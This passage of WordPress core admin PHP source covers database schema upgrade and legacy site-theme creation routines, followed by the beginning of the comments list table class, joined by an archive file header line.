		}

		// For every remaining field specified for the table.
		foreach ( $cfields as $fieldname => $fielddef ) {
			// Push a query line into $cqueries that adds the field to that table.
			$cqueries[] = "ALTER TABLE {$table} ADD COLUMN $fielddef";

			$for_update[ $table . '.' . $fieldname ] = 'Added column ' . $table . '.' . $fieldname;
		}

		// Index stuff goes here. Fetch the table index structure from the database.
		$tableindices = $wpdb->get_results( "SHOW INDEX FROM {$table};" );

		if ( $tableindices ) {
			// Clear the index array.
			$index_ary = array();

			// For every index in the table.
			foreach ( $tableindices as $tableindex ) {
				$keyname = strtolower( $tableindex->Key_name );

				// Add the index to the index data array.
				$index_ary[ $keyname ]['columns'][]  = array(
					'fieldname' => $tableindex->Column_name,
					'subpart'   => $tableindex->Sub_part,
				);
				$index_ary[ $keyname ]['unique']     = ( 0 == $tableindex->Non_unique ) ? true : false;
				$index_ary[ $keyname ]['index_type'] = $tableindex->Index_type;
			}

			// For each actual index in the index array.
			foreach ( $index_ary as $index_name => $index_data ) {

				// Build a create string to compare to the query.
				$index_string = '';
				if ( 'primary' === $index_name ) {
					$index_string .= 'PRIMARY ';
				} elseif ( $index_data['unique'] ) {
					$index_string .= 'UNIQUE ';
				}

				if ( 'FULLTEXT' === strtoupper( $index_data['index_type'] ) ) {
					$index_string .= 'FULLTEXT ';
				}

				if ( 'SPATIAL' === strtoupper( $index_data['index_type'] ) ) {
					$index_string .= 'SPATIAL ';
				}

				$index_string .= 'KEY ';
				if ( 'primary' !== $index_name ) {
					$index_string .= '`' . $index_name . '`';
				}

				$index_columns = '';

				// For each column in the index.
				foreach ( $index_data['columns'] as $column_data ) {
					if ( '' !== $index_columns ) {
						$index_columns .= ',';
					}

					// Add the field to the column list string.
					$index_columns .= '`' . $column_data['fieldname'] . '`';
				}

				// Add the column list to the index create string.
				$index_string .= " ($index_columns)";

				// Check if the index definition exists, ignoring subparts.
				$aindex = array_search( $index_string, $indices_without_subparts, true );
				if ( false !== $aindex ) {
					// If the index already exists (even with different subparts), we don't need to create it.
					unset( $indices_without_subparts[ $aindex ] );
					unset( $indices[ $aindex ] );
				}
			}
		}

		// For every remaining index specified for the table.
		foreach ( (array) $indices as $index ) {
			// Push a query line into $cqueries that adds the index to that table.
			$cqueries[] = "ALTER TABLE {$table} ADD $index";

			$for_update[] = 'Added index ' . $table . ' ' . $index;
		}

		// Remove the original table creation query from processing.
		unset( $cqueries[ $table ], $for_update[ $table ] );
	}

	$allqueries = array_merge( $cqueries, $iqueries );
	if ( $execute ) {
		foreach ( $allqueries as $query ) {
			$wpdb->query( $query );
		}
	}

	return $for_update;
}

/**
 * Updates the database tables to a new schema.
 *
 * By default, updates all the tables to use the latest defined schema, but can also
 * be used to update a specific set of tables in wp_get_db_schema().
 *
 * @since 1.5.0
 *
 * @uses dbDelta
 *
 * @param string $tables Optional. Which set of tables to update. Default is 'all'.
 */
function make_db_current( $tables = 'all' ) {
	$alterations = dbDelta( $tables );
	echo "<ol>\n";
	foreach ( $alterations as $alteration ) {
		echo "<li>$alteration</li>\n";
	}
	echo "</ol>\n";
}

/**
 * Updates the database tables to a new schema, but without displaying results.
 *
 * By default, updates all the tables to use the latest defined schema, but can
 * also be used to update a specific set of tables in wp_get_db_schema().
 *
 * @since 1.5.0
 *
 * @see make_db_current()
 *
 * @param string $tables Optional. Which set of tables to update. Default is 'all'.
 */
function make_db_current_silent( $tables = 'all' ) {
	dbDelta( $tables );
}

/**
 * Creates a site theme from an existing theme.
 *
 * {@internal Missing Long Description}}
 *
 * @since 1.5.0
 *
 * @param string $theme_name The name of the theme.
 * @param string $template   The directory name of the theme.
 * @return bool
 */
function make_site_theme_from_oldschool( $theme_name, $template ) {
	$home_path   = get_home_path();
	$site_dir    = WP_CONTENT_DIR . "/themes/$template";
	$default_dir = WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME;

	if ( ! file_exists( "$home_path/index.php" ) ) {
		return false;
	}

	/*
	 * Copy files from the old locations to the site theme.
	 * TODO: This does not copy arbitrary include dependencies. Only the standard WP files are copied.
	 */
	$files = array(
		'index.php'             => 'index.php',
		'wp-layout.css'         => 'style.css',
		'wp-comments.php'       => 'comments.php',
		'wp-comments-popup.php' => 'comments-popup.php',
	);

	foreach ( $files as $oldfile => $newfile ) {
		if ( 'index.php' === $oldfile ) {
			$oldpath = $home_path;
		} else {
			$oldpath = ABSPATH;
		}

		// Check to make sure it's not a new index.
		if ( 'index.php' === $oldfile ) {
			$index = implode( '', file( "$oldpath/$oldfile" ) );
			if ( str_contains( $index, 'WP_USE_THEMES' ) ) {
				if ( ! copy( "$default_dir/$oldfile", "$site_dir/$newfile" ) ) {
					return false;
				}

				// Don't copy anything.
				continue;
			}
		}

		if ( ! copy( "$oldpath/$oldfile", "$site_dir/$newfile" ) ) {
			return false;
		}

		chmod( "$site_dir/$newfile", 0777 );

		// Update the blog header include in each file.
		$lines = explode( "\n", implode( '', file( "$site_dir/$newfile" ) ) );
		if ( $lines ) {
			$f = fopen( "$site_dir/$newfile", 'w' );

			foreach ( $lines as $line ) {
				if ( preg_match( '/require.*wp-blog-header/', $line ) ) {
					$line = '//' . $line;
				}

				// Update stylesheet references.
				$line = str_replace(
					"<?php echo __get_option('siteurl'); ?>/wp-layout.css",
					"<?php bloginfo('stylesheet_url'); ?>",
					$line
				);

				// Update comments template inclusion.
				$line = str_replace(
					"<?php include(ABSPATH . 'wp-comments.php'); ?>",
					'<?php comments_template(); ?>',
					$line
				);

				fwrite( $f, "{$line}\n" );
			}
			fclose( $f );
		}
	}

	// Add a theme header.
	$header = "/*\n" .
		"Theme Name: $theme_name\n" .
		'Theme URI: ' . __get_option( 'siteurl' ) . "\n" .
		"Description: A theme automatically created by the update.\n" .
		"Version: 1.0\n" .
		"Author: Moi\n" .
		"*/\n";

	$stylelines = file_get_contents( "$site_dir/style.css" );
	if ( $stylelines ) {
		$f = fopen( "$site_dir/style.css", 'w' );

		fwrite( $f, $header );
		fwrite( $f, $stylelines );
		fclose( $f );
	}

	return true;
}

/**
 * Creates a site theme from the default theme.
 *
 * {@internal Missing Long Description}}
 *
 * @since 1.5.0
 *
 * @param string $theme_name The name of the theme.
 * @param string $template   The directory name of the theme.
 * @return void|false
 */
function make_site_theme_from_default( $theme_name, $template ) {
	$site_dir    = WP_CONTENT_DIR . "/themes/$template";
	$default_dir = WP_CONTENT_DIR . '/themes/' . WP_DEFAULT_THEME;

	/*
	 * Copy files from the default theme to the site theme.
	 * $files = array( 'index.php', 'comments.php', 'comments-popup.php', 'footer.php', 'header.php', 'sidebar.php', 'style.css' );
	 */

	$theme_dir = @opendir( $default_dir );
	if ( $theme_dir ) {
		while ( ( $theme_file = readdir( $theme_dir ) ) !== false ) {
			if ( is_dir( "$default_dir/$theme_file" ) ) {
				continue;
			}

			if ( ! copy( "$default_dir/$theme_file", "$site_dir/$theme_file" ) ) {
				return;
			}

			chmod( "$site_dir/$theme_file", 0777 );
		}

		closedir( $theme_dir );
	}

	// Rewrite the theme header.
	$stylelines = explode( "\n", implode( '', file( "$site_dir/style.css" ) ) );
	if ( $stylelines ) {
		$f = fopen( "$site_dir/style.css", 'w' );

		$headers = array(
			'Theme Name:'  => $theme_name,
			'Theme URI:'   => __get_option( 'url' ),
			'Description:' => 'Your theme.',
			'Version:'     => '1',
			'Author:'      => 'You',
		);

		foreach ( $stylelines as $line ) {
			foreach ( $headers as $header => $value ) {
				if ( str_contains( $line, $header ) ) {
					$line = $header . ' ' . $value;
					break;
				}
			}

			fwrite( $f, $line . "\n" );
		}

		fclose( $f );
	}

	// Copy the images.
	umask( 0 );
	if ( ! mkdir( "$site_dir/images", 0777 ) ) {
		return false;
	}

	$images_dir = @opendir( "$default_dir/images" );
	if ( $images_dir ) {
		while ( ( $image = readdir( $images_dir ) ) !== false ) {
			if ( is_dir( "$default_dir/images/$image" ) ) {
				continue;
			}

			if ( ! copy( "$default_dir/images/$image", "$site_dir/images/$image" ) ) {
				return;
			}

			chmod( "$site_dir/images/$image", 0777 );
		}

		closedir( $images_dir );
	}
}

/**
 * Creates a site theme.
 *
 * {@internal Missing Long Description}}
 *
 * @since 1.5.0
 *
 * @return string|false
 */
function make_site_theme() {
	// Name the theme after the blog.
	$theme_name = __get_option( 'blogname' );
	$template   = sanitize_title( $theme_name );
	$site_dir   = WP_CONTENT_DIR . "/themes/$template";

	// If the theme already exists, nothing to do.
	if ( is_dir( $site_dir ) ) {
		return false;
	}

	// We must be able to write to the themes dir.
	if ( ! is_writable( WP_CONTENT_DIR . '/themes' ) ) {
		return false;
	}

	umask( 0 );
	if ( ! mkdir( $site_dir, 0777 ) ) {
		return false;
	}

	if ( file_exists( ABSPATH . 'wp-layout.css' ) ) {
		if ( ! make_site_theme_from_oldschool( $theme_name, $template ) ) {
			// TODO: rm -rf the site theme directory.
			return false;
		}
	} else {
		if ( ! make_site_theme_from_default( $theme_name, $template ) ) {
			// TODO: rm -rf the site theme directory.
			return false;
		}
	}

	// Make the new site theme active.
	$current_template = __get_option( 'template' );
	if ( WP_DEFAULT_THEME == $current_template ) {
		update_option( 'template', $template );
		update_option( 'stylesheet', $template );
	}
	return $template;
}

/**
 * Translate user level to user role name.
 *
 * @since 2.0.0
 *
 * @param int $level User level.
 * @return string User role name.
 */
function translate_level_to_role( $level ) {
	switch ( $level ) {
		case 10:
		case 9:
		case 8:
			return 'administrator';
		case 7:
		case 6:
		case 5:
			return 'editor';
		case 4:
		case 3:
		case 2:
			return 'author';
		case 1:
			return 'contributor';
		case 0:
		default:
			return 'subscriber';
	}
}

/**
 * Checks the version of the installed MySQL binary.
 *
 * @since 2.1.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function wp_check_mysql_version() {
	global $wpdb;
	$result = $wpdb->check_database_version();
	if ( is_wp_error( $result ) ) {
		wp_die( $result );
	}
}

/**
 * Disables the Automattic widgets plugin, which was merged into core.
 *
 * @since 2.2.0
 */
function maybe_disable_automattic_widgets() {
	$plugins = __get_option( 'active_plugins' );

	foreach ( (array) $plugins as $plugin ) {
		if ( 'widgets.php' === basename( $plugin ) ) {
			array_splice( $plugins, array_search( $plugin, $plugins, true ), 1 );
			update_option( 'active_plugins', $plugins );
			break;
		}
	}
}

/**
 * Disables the Link Manager on upgrade if, at the time of upgrade, no links exist in the DB.
 *
 * @since 3.5.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function maybe_disable_link_manager() {
	global $wp_current_db_version, $wpdb;

	if ( $wp_current_db_version >= 22006 && get_option( 'link_manager_enabled' ) && ! $wpdb->get_var( "SELECT link_id FROM $wpdb->links LIMIT 1" ) ) {
		update_option( 'link_manager_enabled', 0 );
	}
}

/**
 * Runs before the schema is upgraded.
 *
 * @since 2.9.0
 *
 * @global int  $wp_current_db_version The old (current) database version.
 * @global wpdb $wpdb                  WordPress database abstraction object.
 */
function pre_schema_upgrade() {
	global $wp_current_db_version, $wpdb;

	// Upgrade versions prior to 2.9.
	if ( $wp_current_db_version < 11557 ) {
		// Delete duplicate options. Keep the option with the highest option_id.
		$wpdb->query( "DELETE o1 FROM $wpdb->options AS o1 JOIN $wpdb->options AS o2 USING (`option_name`) WHERE o2.option_id > o1.option_id" );

		// Drop the old primary key and add the new.
		$wpdb->query( "ALTER TABLE $wpdb->options DROP PRIMARY KEY, ADD PRIMARY KEY(option_id)" );

		// Drop the old option_name index. dbDelta() doesn't do the drop.
		$wpdb->query( "ALTER TABLE $wpdb->options DROP INDEX option_name" );
	}

	// Multisite schema upgrades.
	if ( $wp_current_db_version < 25448 && is_multisite() && wp_should_upgrade_global_tables() ) {

		// Upgrade versions prior to 3.7.
		if ( $wp_current_db_version < 25179 ) {
			// New primary key for signups.
			$wpdb->query( "ALTER TABLE $wpdb->signups ADD signup_id BIGINT(20) NOT NULL AUTO_INCREMENT PRIMARY KEY FIRST" );
			$wpdb->query( "ALTER TABLE $wpdb->signups DROP INDEX domain" );
		}

		if ( $wp_current_db_version < 25448 ) {
			// Convert archived from enum to tinyint.
			$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived varchar(1) NOT NULL default '0'" );
			$wpdb->query( "ALTER TABLE $wpdb->blogs CHANGE COLUMN archived archived tinyint(2) NOT NULL default 0" );
		}
	}

	// Upgrade versions prior to 4.2.
	if ( $wp_current_db_version < 31351 ) {
		if ( ! is_multisite() && wp_should_upgrade_global_tables() ) {
			$wpdb->query( "ALTER TABLE $wpdb->usermeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
		}
		$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX slug, ADD INDEX slug(slug(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->terms DROP INDEX name, ADD INDEX name(name(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->commentmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->postmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
		$wpdb->query( "ALTER TABLE $wpdb->posts DROP INDEX post_name, ADD INDEX post_name(post_name(191))" );
	}

	// Upgrade versions prior to 4.4.
	if ( $wp_current_db_version < 34978 ) {
		// If compatible termmeta table is found, use it, but enforce a proper index and update collation.
		if ( $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->termmeta}'" ) && $wpdb->get_results( "SHOW INDEX FROM {$wpdb->termmeta} WHERE Column_name = 'meta_key'" ) ) {
			$wpdb->query( "ALTER TABLE $wpdb->termmeta DROP INDEX meta_key, ADD INDEX meta_key(meta_key(191))" );
			maybe_convert_table_to_utf8mb4( $wpdb->termmeta );
		}
	}
}

/**
 * Determine if global tables should be upgraded.
 *
 * This function performs a series of checks to ensure the environment allows
 * for the safe upgrading of global WordPress database tables. It is necessary
 * because global tables will commonly grow to millions of rows on large
 * installations, and the ability to control their upgrade routines can be
 * critical to the operation of large networks.
 *
 * In a future iteration, this function may use `wp_is_large_network()` to more-
 * intelligently prevent global table upgrades. Until then, we make sure
 * WordPress is on the main site of the main network, to avoid running queries
 * more than once in multi-site or multi-network environments.
 *
 * @since 4.3.0
 *
 * @return bool Whether to run the upgrade routines on global tables.
 */
function wp_should_upgrade_global_tables() {

	// Return false early if explicitly not upgrading.
	if ( defined( 'DO_NOT_UPGRADE_GLOBAL_TABLES' ) ) {
		return false;
	}

	// Assume global tables should be upgraded.
	$should_upgrade = true;

	// Set to false if not on main network (does not matter if not multi-network).
	if ( ! is_main_network() ) {
		$should_upgrade = false;
	}

	// Set to false if not on main site of current network (does not matter if not multi-site).
	if ( ! is_main_site() ) {
		$should_upgrade = false;
	}

	/**
	 * Filters if upgrade routines should be run on global tables.
	 *
	 * @since 4.3.0
	 *
	 * @param bool $should_upgrade Whether to run the upgrade routines on global tables.
	 */
	return apply_filters( 'wp_should_upgrade_global_tables', $should_upgrade );
}
class-wp-comments-list-table.php000064400000077056150275632050012713 0ustar00<?php
/**
 * List Table API: WP_Comments_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying comments in a list table.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_Comments_List_Table extends WP_List_Table {

	public $checkbox = true;

	public $pending_count = array();

	public $extra_items;

	private $user_can;

	/**
	 * Constructor.
	 *
	 * @since 3.1.0
	 *
	 * @see WP_List_Table::__construct() for more information on default arguments.
	 *
	 * @global int $post_id
	 *
	 * @param array $args An associative array of arguments.
	 */
	public function __construct( $args = array() ) {
		global $post_id;

		$post_id = isset( $_REQUEST['p'] ) ? absint( $_REQUEST['p'] ) : 0;

		if ( get_option( 'show_avatars' ) ) {
			add_filter( 'comment_author', array( $this, 'floated_admin_avatar' ), 10, 2 );
		}

		parent::__construct(
			array(
				'plural'   => 'comments',
				'singular' => 'comment',
				'ajax'     => true,
				'screen'   => isset( $args['screen'] ) ? $args['screen'] : null,
			)
		);
	}

	/**
	 * Adds avatars to comment author names.
	 *
	 * @since 3.1.0
	 *
	 * @param string $name       Comment author name.
	 * @param int    $comment_id Comment ID.
	 * @return string Avatar with the user name.
	 */
	public function floated_admin_avatar( $name, $comment_id ) {
		$comment = get_comment( $comment_id );
		$avatar  = get_avatar( $comment, 32, 'mystery' );
		return "$avatar $name";
	}

	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'edit_posts' );
	}

	/**
	 * @global string $mode           List table view mode.
	 * @global int    $post_id
	 * @global string $comment_status
	 * @global string $comment_type
	 * @global string $search
	 */
	public function prepare_items() {
		global $mode, $post_id, $comment_status, $comment_type, $search;

		if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
			set_user_setting( 'posts_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'posts_list_mode', 'list' );
		}

		$comment_status = isset( $_REQUEST['comment_status'] ) ? $_REQUEST['comment_status'] : 'all';

		if ( ! in_array( $comment_status, array( 'all', 'mine', 'moderated', 'approved', 'spam', 'trash' ), true ) ) {
			$comment_status = 'all';
		}

		$comment_type = ! empty( $_REQUEST['comment_type'] ) ? $_REQUEST['comment_type'] : '';

		$search = ( isset( $_REQUEST['s'] ) ) ? $_REQUEST['s'] : '';

		$post_type = ( isset( $_REQUEST['post_type'] ) ) ? sanitize_key( $_REQUEST['post_type'] ) : '';

		$user_id = ( isset( $_REQUEST['user_id'] ) ) ? $_REQUEST['user_id'] : '';

		$orderby = ( isset( $_REQUEST['orderby'] ) ) ? $_REQUEST['orderby'] : '';
		$order   = ( isset( $_REQUEST['order'] ) ) ? $_REQUEST['order'] : '';

		$comments_per_page = $this->get_per_page( $comment_status );

		$doing_ajax = wp_doing_ajax();

		if ( isset( $_REQUEST['number'] ) ) {
			$number = (int) $_REQUEST['number'];
		} else {
			$number = $comments_per_page + min( 8, $comments_per_page ); // Grab a few extra.
		}

		$page = $this->get_pagenum();

		if ( isset( $_REQUEST['start'] ) ) {
			$start = $_REQUEST['start'];
		} else {
			$start = ( $page - 1 ) * $comments_per_page;
		}

		if ( $doing_ajax && isset( $_REQUEST['offset'] ) ) {
			$start += $_REQUEST['offset'];
		}

		$status_map = array(
			'mine'      => '',
			'moderated' => 'hold',
			'approved'  => 'approve',
			'all'       => '',
		);

		$args = array(
			'status'                    => isset( $status_map[ $comment_status ] ) ? $status_map[ $comment_status ] : $comment_status,
			'search'                    => $search,
			'user_id'                   => $user_id,
			'offset'                    => $start,
			'number'                    => $number,
			'post_id'                   => $post_id,
			'type'                      => $comment_type,
			'orderby'                   => $orderby,
			'order'                     => $order,
			'post_type'                 => $post_type,
			'update_comment_post_cache' => true,
		);

		/**
		 * Filters the arguments for the comment query in the comments list table.
		 *
		 * @since 5.1.0
		 *
		 * @param array $args An array of get_comments() arguments.
		 */
		$args = apply_filters( 'comments_list_table_query_args', $args );

		$_comments = get_comments( $args );

		if ( is_array( $_comments ) ) {
			$this->items       = array_slice( $_comments, 0, $comments_per_page );
			$this->extra_items = array_slice( $_comments, $comments_per_page );

			$_comment_post_ids = array_unique( wp_list_pluck( $_comments, 'comment_post_ID' ) );

			$this->pending_count = get_pending_comments_num( $_comment_post_ids );
		}

		$total_comments = get_comments(
			array_merge(
				$args,
				array(
					'count'   => true,
					'offset'  => 0,
					'number'  => 0,
					'orderby' => 'none',
				)
			)
		);

		$this->set_pagination_args(
			array(
				'total_items' => $total_comments,
				'per_page'    => $comments_per_page,
			)
		);
	}

	/**
	 * @param string $comment_status
	 * @return int
	 */
	public function get_per_page( $comment_status = 'all' ) {
		$comments_per_page = $this->get_items_per_page( 'edit_comments_per_page' );

		/**
		 * Filters the number of comments listed per page in the comments list table.
		 *
		 * @since 2.6.0
		 *
		 * @param int    $comments_per_page The number of comments to list per page.
		 * @param string $comment_status    The comment status name. Default 'All'.
		 */
		return apply_filters( 'comments_per_page', $comments_per_page, $comment_status );
	}

	/**
	 * @global string $comment_status
	 */
	public function no_items() {
		global $comment_status;

		if ( 'moderated' === $comment_status ) {
			_e( 'No comments awaiting moderation.' );
		} elseif ( 'trash' === $comment_status ) {
			_e( 'No comments found in Trash.' );
		} else {
			_e( 'No comments found.' );
		}
	}

	/**
	 * @global int $post_id
	 * @global string $comment_status
	 * @global string $comment_type
	 */
	protected function get_views() {
		global $post_id, $comment_status, $comment_type;

		$status_links = array();
		$num_comments = ( $post_id ) ? wp_count_comments( $post_id ) : wp_count_comments();

		$stati = array(
			/* translators: %s: Number of comments. */
			'all'       => _nx_noop(
				'All <span class="count">(%s)</span>',
				'All <span class="count">(%s)</span>',
				'comments'
			), // Singular not used.

			/* translators: %s: Number of comments. */
			'mine'      => _nx_noop(
				'Mine <span class="count">(%s)</span>',
				'Mine <span class="count">(%s)</span>',
				'comments'
			),

			/* translators: %s: Number of comments. */
			'moderated' => _nx_noop(
				'Pending <span class="count">(%s)</span>',
				'Pending <span class="count">(%s)</span>',
				'comments'
			),

			/* translators: %s: Number of comments. */
			'approved'  => _nx_noop(
				'Approved <span class="count">(%s)</span>',
				'Approved <span class="count">(%s)</span>',
				'comments'
			),

			/* translators: %s: Number of comments. */
			'spam'      => _nx_noop(
				'Spam <span class="count">(%s)</span>',
				'Spam <span class="count">(%s)</span>',
				'comments'
			),

			/* translators: %s: Number of comments. */
			'trash'     => _nx_noop(
				'Trash <span class="count">(%s)</span>',
				'Trash <span class="count">(%s)</span>',
				'comments'
			),
		);

		if ( ! EMPTY_TRASH_DAYS ) {
			unset( $stati['trash'] );
		}

		$link = admin_url( 'edit-comments.php' );

		if ( ! empty( $comment_type ) && 'all' !== $comment_type ) {
			$link = add_query_arg( 'comment_type', $comment_type, $link );
		}

		foreach ( $stati as $status => $label ) {
			if ( 'mine' === $status ) {
				$current_user_id    = get_current_user_id();
				$num_comments->mine = get_comments(
					array(
						'post_id' => $post_id ? $post_id : 0,
						'user_id' => $current_user_id,
						'count'   => true,
						'orderby' => 'none',
					)
				);
				$link               = add_query_arg( 'user_id', $current_user_id, $link );
			} else {
				$link = remove_query_arg( 'user_id', $link );
			}

			if ( ! isset( $num_comments->$status ) ) {
				$num_comments->$status = 10;
			}

			$link = add_query_arg( 'comment_status', $status, $link );

			if ( $post_id ) {
				$link = add_query_arg( 'p', absint( $post_id ), $link );
			}

			/*
			// I toyed with this, but decided against it. Leaving it in here in case anyone thinks it is a good idea. ~ Mark
			if ( !empty( $_REQUEST['s'] ) )
				$link = add_query_arg( 's', esc_attr( wp_unslash( $_REQUEST['s'] ) ), $link );
			*/

			$status_links[ $status ] = array(
				'url'     => esc_url( $link ),
				'label'   => sprintf(
					translate_nooped_plural( $label, $num_comments->$status ),
					sprintf(
						'<span class="%s-count">%s</span>',
						( 'moderated' === $status ) ? 'pending' : $status,
						number_format_i18n( $num_comments->$status )
					)
				),
				'current' => $status === $comment_status,
			);
		}

		/**
		 * Filters the comment status links.
		 *
		 * @since 2.5.0
		 * @since 5.1.0 The 'Mine' link was added.
		 *
		 * @param string[] $status_links An associative array of fully-formed comment status links. Includes 'All', 'Mine',
		 *                              'Pending', 'Approved', 'Spam', and 'Trash'.
		 */
		return apply_filters( 'comment_status_links', $this->get_views_links( $status_links ) );
	}

	/**
	 * @global string $comment_status
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		global $comment_status;

		$actions = array();

		if ( in_array( $comment_status, array( 'all', 'approved' ), true ) ) {
			$actions['unapprove'] = __( 'Unapprove' );
		}

		if ( in_array( $comment_status, array( 'all', 'moderated' ), true ) ) {
			$actions['approve'] = __( 'Approve' );
		}

		if ( in_array( $comment_status, array( 'all', 'moderated', 'approved', 'trash' ), true ) ) {
			$actions['spam'] = _x( 'Mark as spam', 'comment' );
		}

		if ( 'trash' === $comment_status ) {
			$actions['untrash'] = __( 'Restore' );
		} elseif ( 'spam' === $comment_status ) {
			$actions['unspam'] = _x( 'Not spam', 'comment' );
		}

		if ( in_array( $comment_status, array( 'trash', 'spam' ), true ) || ! EMPTY_TRASH_DAYS ) {
			$actions['delete'] = __( 'Delete permanently' );
		} else {
			$actions['trash'] = __( 'Move to Trash' );
		}

		return $actions;
	}

	/**
	 * @global string $comment_status
	 * @global string $comment_type
	 *
	 * @param string $which
	 */
	protected function extra_tablenav( $which ) {
		global $comment_status, $comment_type;
		static $has_items;

		if ( ! isset( $has_items ) ) {
			$has_items = $this->has_items();
		}

		echo '<div class="alignleft actions">';

		if ( 'top' === $which ) {
			ob_start();

			$this->comment_type_dropdown( $comment_type );

			/**
			 * Fires just before the Filter submit button for comment types.
			 *
			 * @since 3.5.0
			 */
			do_action( 'restrict_manage_comments' );

			$output = ob_get_clean();

			if ( ! empty( $output ) && $this->has_items() ) {
				echo $output;
				submit_button( __( 'Filter' ), '', 'filter_action', false, array( 'id' => 'post-query-submit' ) );
			}
		}

		if ( ( 'spam' === $comment_status || 'trash' === $comment_status ) && $has_items
			&& current_user_can( 'moderate_comments' )
		) {
			wp_nonce_field( 'bulk-destroy', '_destroy_nonce' );
			$title = ( 'spam' === $comment_status ) ? esc_attr__( 'Empty Spam' ) : esc_attr__( 'Empty Trash' );
			submit_button( $title, 'apply', 'delete_all', false );
		}

		/**
		 * Fires after the Filter submit button for comment types.
		 *
		 * @since 2.5.0
		 * @since 5.6.0 The `$which` parameter was added.
		 *
		 * @param string $comment_status The comment status name. Default 'All'.
		 * @param string $which          The location of the extra table nav markup: 'top' or 'bottom'.
		 */
		do_action( 'manage_comments_nav', $comment_status, $which );

		echo '</div>';
	}

	/**
	 * @return string|false
	 */
	public function current_action() {
		if ( isset( $_REQUEST['delete_all'] ) || isset( $_REQUEST['delete_all2'] ) ) {
			return 'delete_all';
		}

		return parent::current_action();
	}

	/**
	 * @global int $post_id
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		global $post_id;

		$columns = array();

		if ( $this->checkbox ) {
			$columns['cb'] = '<input type="checkbox" />';
		}

		$columns['author']  = __( 'Author' );
		$columns['comment'] = _x( 'Comment', 'column name' );

		if ( ! $post_id ) {
			/* translators: Column name or table row header. */
			$columns['response'] = __( 'In response to' );
		}

		$columns['date'] = _x( 'Submitted on', 'column name' );

		return $columns;
	}

	/**
	 * Displays a comment type drop-down for filtering on the Comments list table.
	 *
	 * @since 5.5.0
	 * @since 5.6.0 Renamed from `comment_status_dropdown()` to `comment_type_dropdown()`.
	 *
	 * @param string $comment_type The current comment type slug.
	 */
	protected function comment_type_dropdown( $comment_type ) {
		/**
		 * Filters the comment types shown in the drop-down menu on the Comments list table.
		 *
		 * @since 2.7.0
		 *
		 * @param string[] $comment_types Array of comment type labels keyed by their name.
		 */
		$comment_types = apply_filters(
			'admin_comment_types_dropdown',
			array(
				'comment' => __( 'Comments' ),
				'pings'   => __( 'Pings' ),
			)
		);

		if ( $comment_types && is_array( $comment_types ) ) {
			printf(
				'<label class="screen-reader-text" for="filter-by-comment-type">%s</label>',
				/* translators: Hidden accessibility text. */
				__( 'Filter by comment type' )
			);

			echo '<select id="filter-by-comment-type" name="comment_type">';

			printf( "\t<option value=''>%s</option>", __( 'All comment types' ) );

			foreach ( $comment_types as $type => $label ) {
				if ( get_comments(
					array(
						'count'   => true,
						'orderby' => 'none',
						'type'    => $type,
					)
				) ) {
					printf(
						"\t<option value='%s'%s>%s</option>\n",
						esc_attr( $type ),
						selected( $comment_type, $type, false ),
						esc_html( $label )
					);
				}
			}

			echo '</select>';
		}
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'author'   => array( 'comment_author', false, __( 'Author' ), __( 'Table ordered by Comment Author.' ) ),
			'response' => array( 'comment_post_ID', false, _x( 'In Response To', 'column name' ), __( 'Table ordered by Post Replied To.' ) ),
			'date'     => 'comment_date',
		);
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'comment'.
	 */
	protected function get_default_primary_column_name() {
		return 'comment';
	}

	/**
	 * Displays the comments table.
	 *
	 * Overrides the parent display() method to render extra comments.
	 *
	 * @since 3.1.0
	 */
	public function display() {
		wp_nonce_field( 'fetch-list-' . get_class( $this ), '_ajax_fetch_list_nonce' );
		static $has_items;

		if ( ! isset( $has_items ) ) {
			$has_items = $this->has_items();

			if ( $has_items ) {
				$this->display_tablenav( 'top' );
			}
		}

		$this->screen->render_screen_reader_content( 'heading_list' );

		?>
<table class="wp-list-table <?php echo implode( ' ', $this->get_table_classes() ); ?>">
		<?php
		if ( ! isset( $_GET['orderby'] ) ) {
			// In the initial view, Comments are ordered by comment's date but there's no column for that.
			echo '<caption class="screen-reader-text">' .
			/* translators: Hidden accessibility text. */
			__( 'Ordered by Comment Date, descending.' ) .
			'</caption>';
		} else {
			$this->print_table_description();
		}
		?>
	<thead>
	<tr>
		<?php $this->print_column_headers(); ?>
	</tr>
	</thead>

	<tbody id="the-comment-list" data-wp-lists="list:comment">
		<?php $this->display_rows_or_placeholder(); ?>
	</tbody>

	<tbody id="the-extra-comment-list" data-wp-lists="list:comment" style="display: none;">
		<?php
			/*
			 * Back up the items to restore after printing the extra items markup.
			 * The extra items may be empty, which will prevent the table nav from displaying later.
			 */
			$items       = $this->items;
			$this->items = $this->extra_items;
			$this->display_rows_or_placeholder();
			$this->items = $items;
		?>
	</tbody>

	<tfoot>
	<tr>
		<?php $this->print_column_headers( false ); ?>
	</tr>
	</tfoot>

</table>
		<?php

		$this->display_tablenav( 'bottom' );
	}

	/**
	 * @global WP_Post    $post    Global post object.
	 * @global WP_Comment $comment Global comment object.
	 *
	 * @param WP_Comment $item
	 */
	public function single_row( $item ) {
		global $post, $comment;

		$comment = $item;

		$the_comment_class = wp_get_comment_status( $comment );

